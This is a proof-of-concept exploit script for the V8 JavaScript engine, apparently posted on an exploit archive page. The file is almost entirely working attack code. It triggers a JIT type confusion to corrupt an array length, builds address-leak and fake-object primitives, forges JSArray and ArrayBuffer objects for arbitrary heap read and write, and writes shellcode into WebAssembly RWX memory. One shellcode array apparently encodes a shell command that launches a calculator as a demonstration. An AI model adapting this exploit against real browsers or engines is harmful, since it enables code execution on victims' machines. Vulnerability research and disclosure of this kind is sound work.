4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_d8.js JS
load("int64.js")

class classA {
  constructor() {
    this.val = 0x4242;
    this.x = 0;
    this.a = [1,2,3];
  }
}

class classB {
  constructor() {
    this.val = 0x4141;
    this.x = 1;
    this.s = "dsa";
  }
}

var A = new classA();
var B = new classB()

function f (arg1, arg2) {
  if (arg2 == 41) {
    return 5;
  }
  var int8arr = new Int8Array ( 10 ) ;
  var z = arg1.x;
  // new arr length
  arg1.val = -1;
  int8arr [ 1500000000 ] = 22 ;
  async function f2 ( ) {
    const nothing = {} ;
    while ( 1 ) {
      //print("in loop");
      if ( abc1 | abc2 ) {
        while ( nothing ) {
          await 1 ;
          print(abc3);
        }
      }
    }
  }
  f2 ( ) ;
}

// the order as it is, put things in Old Space correcylu
// Declare the arr2 before arr will put arr after arr2


const MAGIC_ARR = 1338 // magic used to find arr2
var arr2 = new Array(0x10);
arr2[0] = MAGIC_ARR
arr2[2] = MAGIC_ARR 
arr2[4] = MAGIC_ARR 
arr2[6] = MAGIC_ARR 
arr2[8] = MAGIC_ARR 
arr2[10] = MAGIC_ARR 
// make arr2 PACKED_ELEMENTS
arr2[12] = {}
var arr = new Array(0x10);
arr[0] = 1.1;

for (let i = 0; i < 15000; i++) { new ArrayBuffer(1024);}
for (let i = 0; i < 15000; i++) { new ArrayBuffer(1024);}
for (let i = 0; i < 15000; i++) { new ArrayBuffer(1024);}

const MAGIC_JSARRAY = 1337
var double_array = new Array(MAGIC_JSARRAY)
double_array.fill(1.1);


/* With the below allocation we will have nice allocations in OldSPace
 * We are interested to access arr2 elements from arr elements for addr_of and obj_at_addr primitives
 * Then to access the double_array header in order to leak the fake and fake a JSArray object
 *  The JSArray object will be used to R/W inside the V8 heap (since we do not know the base heap for 32 bits addresses in the heap)
 *  This will be useful to leak WASM memory region to write our shellocde (since it is in the V8 heap, and we cannot do it with ArrayBuffer since we dk the base heap)
 * To write in the WASM region, we need to create a fake ArrayBuffer, that will use the previously leaked address from WASM instance (using JSArray) to write the shellocde
 * Then we should be ok
    arr2
    
*/

var i;
// this may optimize and deopt, that's fine
for (i=0; i < 20000; i++) {
    f(A,0);
    f(B,0);
}
// this will optimize it and it won't deopt
// this loop needs to be less than the previous one
for (i=0; i < 10000; i++) {
    f(A,41);
    f(B,41);
}

// change the arr length
print("{*} Length before trigger: " + arr.length)
f(arr,0);

print("{+} Length after trigger: " + arr.length);

//print("value at index 12: " + arr[12].toString());

function addr_of(arg_obj, arg_idx){
    // We only need to send 32 bits with pointer compression
    arr2[0] = arg_obj;
    //for(let i=(arg_idx - 5); i <(arg_idx+5); i++) print(i + " : " + Int64.from_double(arr[i]))
    let all = new Int64(Int64.from_double(arr[arg_idx]).low)
    return all
}

function search_arr2(){
    // `arr2`.elements is allocated in Old Space after arr.elements, it is at uknwown distance (sometimes some k, other times kk)
    // atm, the GC place arr before buffer and arr2,  but sometimes arr2 is before buffer and viceversa
    // We actually dont care, since we search its pattern in memory 
    /* 
    arr2 hex in memory with MAGIC_ARR (1337) and a holey between them
    gdb-peda$ x/12xw 0x1bb6082134dd-1 +8
    0x1bb6082134e4: 0x00000a72      0x08040385      0x00000a72      0x08040385
    0x1bb6082134f4: 0x00000a72      0x08040385      0x00000a72      0x08040385
    0x1bb608213504: 0x00000a72      0x08040385      0x00000a72      0x08040385    
    */
    //print("[*] Searching arr2 in memory")
    for( let i = 0 ; i < 225000; i++) {
        value = Int64.from_double(arr[i])
        //print( i + " : " + value.low + " == " + (MAGIC_ARR << 1))
        //print( i + " : " + value)
        
        // Sometimes things are in low, other times in high . TODO: see why
        if( (value.low == (MAGIC_ARR << 1)) || (value.high == (MAGIC_ARR << 1))){
            // MAGIC found. now check that there are more continuos
            // with the_hole (same value) before
            found_idx = i
            //print("MAGIC_ARR found at arr+" + found_idx)
            next_value = Int64.from_double(arr[found_idx + 1])
            if( (next_value.low == (MAGIC_ARR << 1)) || (next_value.high == (MAGIC_ARR << 1))){
                //print(value + "===" + next_value)
                //print(value == next_value.toString())
                //readline()
                // The next one is MAGIC_ARR again, should be our object, check if they share the hole
                // The .toString is necessary .. you know .. JS ...  :?
                if (value == next_value.toString()){
                    //It is definetevly out object
                    if(value.high == (MAGIC_ARR << 1))
                        return found_idx - 1
                    return found_idx
                }
            }
        }
    }   
    return 0
}

function leak_jsarray(){
    // Leak JSArray map and fixed from `arr`
    // search for the 1337 size (MAGIC_JSARRAY) and check if it can be that object
    // Seems pretty reliable by only checking its size

    for(let i = 0; i < 2000; i++){
        value = Int64.from_double(arr[i])
        //print(i + " : " + value)
        if((value.high == (MAGIC_JSARRAY << 1))){
            // Array found.  Usually ~198 index
            // Now grab and return the map*
            //print("JSArray found at index " + i)
            return Int64.from_double(arr[i-1])
       }
    }
    return false
}

function obj_at_addr(addr_obj, arg_idx){
    // We need to invert stuff for pointer compression
    // 0x000000000833aa11 --> 0x0838012100000000
    print(arr_idx)
    let to_place = addr_obj
    print("{D} [obj_at_addr] Placing at arr: " + to_place)
    arr[arg_idx] = to_place.to_double();
    return arr2[0] 
}


arr_idx = search_arr2();
if(!arr_idx)
    //print(arr_idx)
    throw("MAGIC_ARR not found, could not find index from `arr`")
print("{+} MAGIC_ARR found at index arr+"+arr_idx);

let jsarray_map = leak_jsarray();
print("{+} Leaked JSArray  Map: " + jsarray_map);
let jsholder = new Array(0x20)
jsholder[0] = jsarray_map.to_double() // Map* + Properties
//jsholder[0] = Int64.concat("0x41414141", "0x42424242").to_double() 
jsholder[1] = Int64.concat("0xa72", "0x44444441").to_double() // JSArray Size + Elements*
jsholder[2] = new Int64("0xa72").invert().to_double() // JSArray Size 

let jsholder_addr = addr_of(jsholder, arr_idx)
print("{+} JSHolder @" + jsholder_addr);
// JSHolder elements are at +196. +8 that are the  FixedArray  header
let fake_js_addr = jsholder_addr.add(196).add(8)
print("{*} Fake object will be at " + fake_js_addr)
let fake_obj = obj_at_addr(fake_js_addr, arr_idx);

function js_read(t_addr) { 
    // Read using the JSArray. Used to read stuff inside the V8 heap memory
    // modify jsholder!
    /* That's how element is accessed
            cmp    QWORD PTR [r15+r11*8+0x7],r12
       r15 = element* , r11 = array Index (*8 cuz float is 64 bit) an +0x7 that is (addr-1) + 0x8 that to skip the FixedArray Header
        !! We have to sub this -0x7 if we want ro arbirtary read
    */
    print("{D} [js_read] Reading from: " + t_addr)
    let real_addr = Int64.concat("0xa72", t_addr.sub(8).low); // JSArray size + Elements*
    print("{D} [js_read] Inserting read: " + real_addr);
    jsholder[1] = real_addr.to_double();
    return res = Int64.from_double(fake_obj[0]);

}


// https://wasdk.github.io/WasmFiddle/
// The WASM code will be never executed, it will be replaced with out shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
//var wasm_code = new Uint8Array([0x0, 0x61, 0x73,, 41, 41]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

// Now we want to leak the WASM RWX address
// From GDB we see that there is a pointer to the Starting mapped RWX memory at WASMInstance + 0xF0 (240)
let wasm_addr = addr_of(wasm_instance, arr_idx)
//let wasm_rwx_addr = read(wasm_addr.sub(1).add(0xf0))
print("{+} WASMInstace @" + wasm_addr);
let wasm_rwx_addr = js_read(wasm_addr.add(0x68));
print("{+} WASM RWX memory: " + wasm_rwx_addr)

// Now that we have the address to RWX we need to write on it
// To do that we need to fake an ArrayBuffer

// Leaking the Map* we also have the Empty Prop* , that will be useful, why not.

/* ArrayBuffer:
    00: [        Map*        ]
    08: [ Property* or Hash  ]
    10: [      Elements*     ]
    18: [     Byte Length    ] -> Length of Array Buffer in bytes
    20: [   Backing Store*   ] -> Pointer to allocated memory (not tagged!)
    28: [      Bit Field     ] -> Array Buffer flags
    30: [   Embedder Field   ] -> Flags for objects wrapping this one
    38: [   Fast Properties  ] 

    Note: Byte Length is 64 bit, also Backing pointer. 
    
    dummy_ab in memory
    gdb-peda$ x/12xw 0x2fc6081718b5-1
    0x2fc6081718b4: 0x08241189      0x080406e9      0x080406e9      0x00000539
    0x2fc6081718c4: 0x00000000      0xd2bda5a0      0x000055a2      0x00000002
    0x2fc6081718d4: 0x00000000      0x00000000      0x00000000      0x00000000
*/
// just used to leak Map*
let dummy_ab = new ArrayBuffer(1337)
let dummy_ab_addr = addr_of(dummy_ab, arr_idx)
print("{+} Dummy ArrayBuffer @" + dummy_ab_addr);
let ab_map = js_read(dummy_ab_addr)
print("{+} ArrayBuffer Map* " + ab_map);


// I could also reuse the jsholder elements, but lets create a new one instead 
let ab_holder = new Array(0x10)
ab_holder[0] = ab_map.to_double()                               // Map* + Property*
let len_elem = Int64.concat("0x0", ab_map.high)
print("{D} len_elem: " + len_elem)
ab_holder[1] = Int64.concat("0x539", ab_map.high).to_double();    // half Byte Length (0) + Elements*
ab_holder[2] = Int64.concat(wasm_rwx_addr.low,"0x0").to_double();  // other half length size + half backing pointer 
ab_holder[3] = Int64.concat("0x2",wasm_rwx_addr.high).to_double();    // Bit fields + half backing pointer
ab_holder[4] = new Int64("0x0").to_double();                    // Emedder Field

// distance betwen Eleemnts of ab_holder and ab_holder is 108
let ab_holder_addr = addr_of(ab_holder, arr_idx)
print("{d} ab_holder @" + ab_holder_addr)
let fake_ab_addr = ab_holder_addr.add(108).add(8)
print("{d} Faking ArrayBuffer @" + fake_ab_addr)
let fake_ab = obj_at_addr(fake_ab_addr, arr_idx);
let fake_ab_8 = new Uint8Array(fake_ab)

let SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 101, 110, 111, 100, 38, 1, 1, 1, 72, 49, 4, 36, 72, 184, 112, 119, 110, 101, 100, 41, 38, 32, 80, 72, 184, 99, 104, 32, 47, 116, 109, 112, 47, 80, 72, 184, 61, 58, 36, 100, 32, 116, 111, 117, 80, 72, 184, 32, 68, 73, 83, 80, 76, 65, 89, 80, 72, 184, 40, 119, 104, 111, 97, 109, 105, 41, 80, 72, 184, 61, 47, 104, 111, 109, 101, 47, 36, 80, 72, 184, 101, 110, 118, 32, 72, 79, 77, 69, 80, 72, 184, 108, 101, 101, 112, 32, 53, 59, 32, 80, 72, 184, 97, 116, 111, 114, 32, 38, 32, 115, 80, 72, 184, 101, 45, 99, 97, 108, 99, 117, 108, 80, 72, 184, 98, 105, 110, 47, 103, 110, 111, 109, 80, 72, 184, 100, 32, 47, 115, 110, 97, 112, 47, 80, 72, 184, 83, 80, 76, 65, 89, 61, 58, 36, 80, 72, 184, 111, 97, 109, 105, 41, 32, 68, 73, 80, 72, 184, 111, 109, 101, 47, 36, 40, 119, 104, 80, 72, 184, 32, 72, 79, 77, 69, 61, 47, 104, 80, 72, 184, 32, 100, 111, 32, 40, 101, 110, 118, 80, 72, 184, 123, 48, 46, 46, 49, 53, 125, 59, 80, 72, 184, 111, 114, 32, 100, 32, 105, 110, 32, 80, 72, 184, 115, 104, 32, 45, 99, 32, 39, 102, 80, 72, 184, 32, 47, 98, 105, 110, 47, 98, 97, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]

SHELLCODE = [0xcc, 0xcc, 0xcc, 0xcc]
print("Placing shellcode in WASM RWX memory")
fake_ab_8.set(SHELLCODE);
print("Trigger that calc !")
f()
//%DebugPrint(ab_holder)
//readline()